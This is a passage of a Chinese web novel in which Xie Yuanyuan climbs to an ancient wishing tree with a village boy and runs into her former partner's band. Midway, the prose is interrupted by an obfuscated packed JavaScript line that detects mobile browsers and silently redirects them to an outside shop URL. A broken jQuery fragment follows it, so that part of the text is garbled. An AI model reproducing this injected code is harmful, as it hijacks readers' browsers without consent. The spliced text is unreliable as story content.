画面一转,谢圆圆坐在阶梯上大口喝水,难得眼泪快要出来了,要不是顾及身边有个小辈,她真要放声大哭。
“没事,不着急。”
蒋赐反过来安慰她,谢圆圆从一旁的包里掏出冰凉贴,撕开包装摁在头顶。
她又拿出一个新的,“你要吗?”
“不用。”
谢圆圆也不强求,她累得真想回空调房睡一觉,连说话的力气都没有。
“你知道云港市吗?”
蒋赐的声音响起,谢圆圆愣了半秒,“云港?知道。”
“我想去那里。”
“去呗。”
蒋赐没有再说话。
银石村的天气很热,路也不方便开车,昨晚几人喝酒睡过头,他们出发已经接近午时。
徐忍冬被派去和当地人交流,询问当地的特色景点,以及各种自古流传来的传说。
村民对小姑娘很是包涵,热情地解答一系列问题。
徐忍冬总结了村民的回答,“大部分景点都趋于商业化,并不是很好的乡村主题,有个原始的祈福树,可以去看看。”
裴爽开始不满了,哼了半天,“有什么好看的,这种祈福的树哪个地方都有。”
“有一千多岁,严谨点回答是两棵树的合体。”
闻言,几个人皆是提起了兴趣,特别是裴爽,直接上演了一场大变脸。
WER的探索就此开始。
爱情树长在较为原始的山上,村民开辟出一条路供人攀爬,他们爬上阶梯,一路还算顺利。
也许因为天热,爬山的人几乎没有,导致这一路上没遇到什么人。
“吃饭的时间我们来爬山……”
裴爽这话是对徐忍冬说的,徐忍冬啪给了他一巴掌,“看路。”
花三星一边爬一边观察四周的形势,记录下关键元素。
段雾走在最后面,指尖摸到口袋里的石头,于是拿起来把它挂在脖子上。
前面的人还在抱怨,段雾一言不发。
他对这里的一切都心生向往,甚至觉得能登上这座山都是他的荣幸。
这种情绪,他其实明白。
因为她,让一个地方在他眼里特殊。
谢圆圆休息够了,一站起来腿.软得要命,只能扶着栏杆往上走。
“就这一次!”
就这一次,以后她再也不要爬山了。
蒋赐看着她鼓起劲儿,自虐一般抬脚走得很快,没多久速度就慢下来了。
他想说点什么,又担心对方的自尊心,于是装作看不见。
“加油,快到了。”
谢圆圆凭着这句话树立起信心,爬了好久抬头还没看见古树,她开始怀疑了,“怎么还没到?”
蒋赐居然会骗人。
她嘴角下弯,瘪了瘪嘴。
恍惚间好像听见下方传来笑声,谢圆圆心道自己真是爬出幻觉了。
蒋赐开口:“我背你吧。”
谢圆圆生气,没搭理他。
“再快点!”她这话是对自己说的。
疼痛不能避免,她怎么能让小孩背自己?那就让疼痛来得更猛烈些吧。
指不定还能减肥,皮肤还能变好。
谢圆圆这么安慰自己。
太阳渐渐升至高空,一行人在山路上攀爬,慢慢地缩短距离。
谢圆圆终于能看见那古树的根,巨大得有些恐怖,自石头里钻出来。
“终于到了,不行,我要歇会。”
古树的枝叶繁茂,延伸出来的分枝更是粗壮,许多红色飘带系在叶柄上,随风飘着。
谢圆圆观察了一下地形,猝不及防被眼前的景象震惊到。
原来身旁还有根系,在山下看不清,近在眼前才看清全貌,巨大的树根向上生长,与另一颗古树的茎合生起来。
像连体婴一般。
“太神奇了,没看到之前我简直不敢相信。”
她一转身,蒋赐手里竟然拿着一条红飘带,正充满期盼地看向古树。
“你来祈福?”
“……嗯。”
谢圆圆想起刚刚的交谈,“让我来猜一猜,是想去云港吧?”
“算是吧。”
“那就努力考那边的大学。”
闻言,气氛忽地凝固了,谢圆圆头一次在小孩面前犯起了口吃,“额……反正……也不是不可能。”
云港,教育资源丰富,同时,对分数要求高,乡下人想考进去简直是难上加难。
谢圆圆笑了笑,连忙扒着栏杆站起身,“我陪你去挂这个祈福带吧。”
“嗯。”
各种祈福带近在眼前,谢圆圆抬手按住一根,看清了他人的愿望。
她感兴趣地看了许多。
“在一起……百年好合……长长久久……怎么都是来求姻缘的?”
蒋赐站在比谢圆圆还要高的位置,抬手把祈福带系上,“姻缘比较灵。”
“我是来求财的。”
谢圆圆咕哝一声,百无聊赖地看着别人的愿望,突然看到了熟悉的名字,“蒋赐……叶心溪……”
上面系完祈福带的少年忽然顿住,脸颊红了,“你别翻别人东西。”
“咋回事?”
蒋赐坦白了,谢圆圆摸摸下巴,“叶心溪去了云港,对吗?”
“嗯。”
叶心溪是蒋赐的同学,转学去了云港念书。
“这里该不会不止一条吧?你还系了多少?”
蒋赐摇摇头,不肯说,他的落寞不是假的。
气氛一时压抑,蒋赐先鼓起勇气开口:“你能不能帮我个忙?”
“说。”
“我想给她写信,我出不了银石村,请你帮我送给她。”
“可以,你把她地址手机号给我。”
蒋赐顿住了,目光有些空洞,“没有……”
“这……这没有地址咋寄啊,云港是个市,那么大的地方……”
谢圆圆说话有些恼,她没想过这种情况,想给一个人寄信会不知道地址……
蒋赐待她挺好,爬山这一路如果没有他帮扶,谢圆圆早摔了。
她叹了口气,“我帮你,但是什么时候能寄出去,我也不确定。”
蒋赐感激得眼睛红了,眼泪充在眼眶。
谢圆圆有些尴尬,要她哄一个刚认识的男生也是不太可能,她厉声道:“大男人哭什么哭!”
与此同时,爽朗的笑声传来。
裴爽听见声音抬眼,表情由错愕感到惊喜,他站在原地拼命招手,“谢圆圆!”
两伙人就这么相遇了。
谢圆圆在看到裴爽身后的徐忍冬和韩修竹时,心底感到一阵慌张。
WER出现三个人,那其他两位应该也在。
如果段雾在里面……
“别停。”
谢圆圆心想完了,是段雾,怎么又遇到了。
只一瞬,她改变心态,昂首挺胸地站着。
明明是段雾对她有余情未了的嫌疑,她何必心虚。
蒋赐背过身,连忙擦拭眼泪,这落在段雾眼里,谢圆圆就好像又做坏事了。
她最擅长的坏事,让男人伤心。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671485|144186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她做的坏事还很多,一个接一个的。
裴爽热情打完招呼,尝试跟蒋赐搭讪,“这简直太有缘分了,要不一起同行?”
别管是什么人,站在嫂子旁边的男人除了段哥就是敌人。
裴爽主张和平。
把人拉自己身边就好了。
蒋赐还以为他们是谢圆圆的朋友,擦干眼泪答应。
“兄弟,你是当地人?”
“嗯。”
裴爽搂着蒋赐扯东扯西,谢圆圆独自站在高处,目光向下看。
段雾没有抬头。
在古树旁有一小块平地,似乎是为了方便他人拜访。
谢圆圆想到此行的目的,踏入那块平地,其他人眼看着谢圆圆的动作,都默契地安静下来。
谢圆圆双手合十,闭上眼许愿。
台阶上,段雾终于抬眼,站在花三星身后,目光从花三星的肩膀上方看向谢圆圆。
女人静静站着,时间一分一秒过去,她却专注。
段雾不免好奇,她在求什么。
末了,谢圆圆看着眼前壮观惊人的古树,跪在地上,深深一拜。
她此行携带的愿望就只有一个,为了表达自己的虔诚,便将时间放久。
自然,是比任何一个人造的神迹都让人敬畏的神明。
谢圆圆做完这一切走下阶梯,先跟徐忍冬对视,礼貌地握了下手,花三星低头查数据,谢圆圆与他擦肩而过。
她在段雾身边停下,抬手,手指晃了晃,“又见面了。”
山路不算狭窄,两人之间伸着手就能碰到对方,蒋赐答应了一起同行,谢圆圆就跟在段雾身边。
反正其他人她不熟,不跟他跟谁。
谢圆圆看着段雾的侧脸,只觉得赏心悦目。
男人没正眼看过她。她心有疑问,段雾一直没给她开口的机会。
前面还有其他人在,谢圆圆更不能提那种问题了。
蒋赐和裴爽聊天陷进去了,突然想起谢圆圆,他连忙停下来向下方喊:“姐,你小心点别摔了。”
本意是想提醒谢圆圆注意脚下,谢圆圆有些不自然,“我不会摔的。”
谢圆圆悄悄看了一眼身边的人,对方没有丝毫反应。
他们继续往上走,直到能够俯瞰古树的全貌,裴爽掏出相机,记录了眼前壮观的一幕。
“段哥。”
段雾目移,眼睁睁看着裴爽拍完照片露出得逞的笑。
身边的谢圆圆也若有所感,她好像也入镜了?
没等她有意见,段雾先发话了。
“删了。”
裴爽闷闷地噢了一声,转身去拍其他人。
谢圆圆从WER队员的只言片语中提取出信息,原来WER乐队来这是为了工作。
段雾曾经来过这里,现在又在这相遇。
总之,段雾对她余情未了的可能性增加了,但他冷淡的态度让谢圆圆还有些不坚定。
她不止一次猜测,在这两种情况里反复横跳。
众人完成工作后一同下山。
下山的路比上山容易太多,谢圆圆终于展开笑颜,感觉看什么都顺眼了。
她两条腿灵活地跃下台阶,速度显然加快了。
不经意间,她余光瞥到段雾紧紧跟在身侧略靠后的地方。
蒋赐的声音在后方响起,“姐,看路。”
段雾握住她的胳膊,把她往身边拉近,“转弯了。”
谢圆圆的视线一阵晃,段雾的脸近在咫尺,她连忙把目光收回,平视着看清段雾脖子上的物件。
链绳她见过。